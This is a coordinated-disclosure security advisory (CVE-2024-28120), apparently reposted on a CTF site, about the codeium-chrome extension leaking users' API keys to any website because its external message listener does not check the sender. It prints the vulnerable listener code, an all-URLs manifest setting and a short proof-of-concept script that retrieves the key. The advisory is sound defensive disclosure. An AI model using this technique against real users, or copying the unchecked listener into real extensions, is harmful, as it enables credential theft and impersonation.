Coordinated Disclosure Timeline
- 2024-02-29: Report submitted via Private Vulnerability Reporting
- 2024-03-01: Vulnerability fixed on both codeium-chrome extension versions.
- 2024-03-06: Advisory published and CVE assigned.
Summary
The service worker of the codeium-chrome extension doesn’t check the sender when receiving an external message. This allows an attacker to host a website that will steal the user’s Codeium api-key, and thus impersonate the user on the backend autocomplete server.
Project
codeium-chrome
Tested Version
Details
Issue: Private information leakage in serviceWorker.ts (GHSL-2024-027)
The service worker of the codeium-chrome extension doesn’t check the sender when receiving an external message. This allows any website to query the onMessageExternal listener and leak the user’s name, api_key and other miscellaneous settings.
// The only external messages:
// - website auth
// - request for api key
// - set icon and error message
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {
if (message.type === 'user') {
(async () => {
const user = await getStorageItem('user');
sendResponse(user);
if (user?.apiKey === undefined) {
await loggedOut();
}
})().catch((e) => {
console.error(e);
});
return true;
}
if (message.type === 'clientSettings') {
(async () => {
const storageItems = await getStorageItems(['user', 'enterpriseDefaultModel']);
const clientSettings: ClientSettings = {
apiKey: storageItems.user?.apiKey,
defaultModel: storageItems.enterpriseDefaultModel,
};
sendResponse(clientSettings);
})().catch((e) => {
console.error(e);
});
return true;
}
if (message.type === 'allowlist') {
(async () => {
const allowlist = await getStorageItem('allowlist');
sendResponse(allowlist);
})().catch((e) => {
console.error(e);
});
return true;
}
if (message.type == 'error') {
unhealthy(message.message).catch((e) => {
console.error(e);
});
// No response needed.
return;
}
if (message.type == 'success') {
loggedIn().catch((e) => {
console.error(e);
});
// No response needed.
return;
}
if (typeof message.token !== 'string' || typeof message.state !== 'string') {
console.log('Unexpected message:', message);
return;
}
(async () => {
const typedMessage = message as { token: string; state: string };
const user = await getStorageItem('user');
if (user?.apiKey === undefined) {
await login(typedMessage.token);
}
})().catch((e) => {
console.error(e);
});
});
"externally_connectable": {
"matches": ["<all_urls>"]
}
This vulnerability was discovered with the help of unreleased CodeQL queries.
Impact
This issue may lead to Information Disclosure. An attacker can use the API key for the Codeium autocomplete server that is meant for another user. They can use this api key to make queries to the backend autocomplete server as the other user.
Proof of Concept
chrome.runtime.sendMessage(receiverExtensionID, {type: "user"},function (response) {
if (response) alert(response);
});
Host an html page with the above javascript code, which will send a message to the codeium-chrome extension and show the api-key and username in an alert.
CVE
- CVE-2024-28120
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at [email protected], please include a reference to GHSL-2024-027 in any communication regarding these issues.
原文始发于Github：GHSL-2024-027_GHSL-2024-028: API abuse in codeium-chrome – CVE-2024-28120
转载请注明：GHSL-2024-027_GHSL-2024-028: API abuse in codeium-chrome – CVE-2024-28120 | CTF导航
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